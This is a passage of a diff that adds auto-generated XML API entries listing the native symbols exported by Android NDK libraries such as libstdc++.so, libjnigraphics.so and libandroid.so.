+      <method abstract="false" deprecated="not deprecated" final="true" name="xaQueryNumSupportedEngineInterfaces" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+    </class>
+    <class abstract="false" deprecated="not deprecated" final="true" name="libstdc++.so" static="false" visibility="public">
+      <method abstract="false" deprecated="not deprecated" final="true" name="_Znam" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="_ZdaPv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="_ZnamRKSt9nothrow_t" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__cxa_guard_abort" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__cxa_guard_acquire" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="_ZdaPvRKSt9nothrow_t" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__cxa_pure_virtual" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="_ZnwmRKSt9nothrow_t" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <field deprecated="not deprecated" final="true" name="LIBC_O" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="_ZdlPvRKSt9nothrow_t" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="_ZdlPv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="_Znwm" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__cxa_guard_release" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <field deprecated="not deprecated" final="true" name="_ZSt7nothrow" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+    </class>
+    <class abstract="false" deprecated="not deprecated" final="true" name="libjnigraphics.so" static="false" visibility="public">
+      <method abstract="false" deprecated="not deprecated" final="true" name="AndroidBitmap_getInfo" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AndroidBitmap_unlockPixels" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AndroidBitmap_lockPixels" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <field deprecated="not deprecated" final="true" name="LIBJNIGRAPHICS" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+    </class>
+    <class abstract="false" deprecated="not deprecated" final="true" name="libandroid.so" static="false" visibility="public">
+      <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_getUiModeType" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="getTtsEngine" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AKeyEvent_getKeyCode" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ALooper_pollAll" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ALooper_wake" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ANativeActivity_setWindowFormat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_isBetterThan" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AInputQueue_preDispatchEvent" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_getUiModeNight" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AAssetManager_openDir" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AKeyEvent_getEventTime" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ANativeWindow_fromSurfaceTexture" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getAxisValue" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ANativeActivity_setWindowFlags" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_copy" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AInputQueue_attachLooper" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_setMcc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ATrace_isEnabled" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ANativeWindow_getHeight" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_setNavigation" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getHistoricalTouchMinor" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AStorageManager_mountObb" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_setKeyboard" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getPointerId" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AObbInfo_getVersion" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ASensorManager_getDefaultSensorEx" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_getMnc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getAction" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ASensorEventQueue_enableSensor" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ASensorManager_createEventQueue" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AKeyEvent_getFlags" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getOrientation" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getPointerCount" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AHardwareBuffer_release" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getXPrecision" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ASensor_getVendor" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AAssetDir_close" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AChoreographer_postFrameCallbackDelayed" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ASensor_getFifoReservedEventCount" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ASensor_isDirectChannelTypeSupported" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_getCountry" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AInputQueue_getEvent" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ASharedMemory_setProt" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_getKeysHidden" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_setKeysHidden" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getToolType" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_getOrientation" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AKeyEvent_getDownTime" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getTouchMajor" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_getScreenSize" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AKeyEvent_getRepeatCount" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_getTouchscreen" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AObbInfo_getFlags" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ASensorManager_getInstanceForPackage" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ASensor_getName" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ASensorManager_getInstance" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AKeyEvent_getScanCode" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getHistorySize" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ANativeWindow_setBuffersGeometry" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_getMcc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_setSmallestScreenWidthDp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getRawX" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ALooper_addFd" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getRawY" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ASensorEventQueue_getEvents" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ANativeWindow_getFormat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AChoreographer_postFrameCallback" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_getDensity" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_setCountry" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <field deprecated="not deprecated" final="true" name="LIBANDROID" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ASensorManager_createHardwareBufferDirectChannel" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ALooper_acquire" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getToolMinor" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AAssetManager_fromJava" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_setScreenHeightDp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_setUiModeNight" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AStorageManager_isObbMounted" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AAsset_openFileDescriptor64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ALooper_pollOnce" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AObbInfo_delete" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ASensor_getStringType" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getEventTime" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ASensor_getFifoMaxEventCount" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ASensorManager_getSensorList" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AStorageManager_new" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AHardwareBuffer_allocate" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AInputEvent_getSource" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getHistoricalRawX" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ASensor_getHighestDirectReportRateLevel" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getHistoricalRawY" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ANativeWindow_acquire" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_getKeyboard" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_getSdkVersion" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ALooper_forThread" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AAsset_getRemainingLength64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ALooper_removeFd" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getHistoricalToolMajor" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AKeyEvent_getAction" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AAsset_getRemainingLength" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ASensorManager_createSharedMemoryDirectChannel" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ASensor_getMinDelay" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_getScreenWidthDp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ASensor_isWakeUpSensor" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_getNavHidden" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_getScreenLong" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AInputQueue_finishEvent" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AInputQueue_hasEvents" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ALooper_release" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ANativeWindow_getWidth" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ATrace_beginSection" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ASensorEventQueue_disableSensor" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AAsset_close" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_setOrientation" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getSize" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_getLayoutDirection" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ASensorManager_getDefaultSensor" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_setTouchscreen" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ANativeWindow_lock" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AHardwareBuffer_getNativeHandle" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ASensorManager_destroyEventQueue" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_new" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ANativeWindow_fromSurface" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AAsset_read" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ASensorEventQueue_setEventRate" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_getNavigation" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AInputEvent_getType" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ANativeWindow_unlockAndPost" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_diff" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_getScreenHeightDp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_setNavHidden" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_setScreenWidthDp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="android_setprocnetwork" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_setUiModeType" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getHistoricalSize" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AHardwareBuffer_acquire" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getYPrecision" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ASharedMemory_create" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getYOffset" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AHardwareBuffer_recvHandleFromUnixSocket" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getHistoricalAxisValue" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getHistoricalTouchMajor" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ASharedMemory_getSize" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getXOffset" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AObbInfo_getPackageName" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AAsset_isAllocated" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AAsset_seek64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AAsset_getBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AHardwareBuffer_sendHandleToUnixSocket" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AAsset_seek" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getButtonState" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AObbScanner_getObbInfo" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getHistoricalOrientation" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AKeyEvent_getMetaState" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getTouchMinor" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ANativeWindow_toSurface" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_getLanguage" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getFlags" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getDownTime" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ALooper_prepare" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AAsset_getLength" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="android_getTtsEngine" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AAsset_getLength64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_setScreenSize" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AInputEvent_getDeviceId" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AAsset_openFileDescriptor" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AStorageManager_delete" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_match" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AAssetDir_rewind" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AAssetManager_open" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ATrace_endSection" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getX" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="android_setsocknetwork" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getY" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ASensor_getReportingMode" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AHardwareBuffer_fromHardwareBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AHardwareBuffer_unlock" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AInputQueue_detachLooper" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getToolMajor" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ANativeActivity_finish" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ANativeActivity_showSoftInput" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AChoreographer_getInstance" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_setLanguage" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getHistoricalToolMinor" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getHistoricalPressure" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_fromAssetManager" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ASensorManager_configureDirectReport" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ASensorManager_destroyDirectChannel" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getHistoricalEventTime" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getHistoricalX" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getHistoricalY" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AHardwareBuffer_describe" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_setLayoutDirection" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AHardwareBuffer_toHardwareBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_setMnc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_getSmallestScreenWidthDp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getEdgeFlags" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_setSdkVersion" native="true" return="na" static="false" synchronized="true" visibility="public"/>
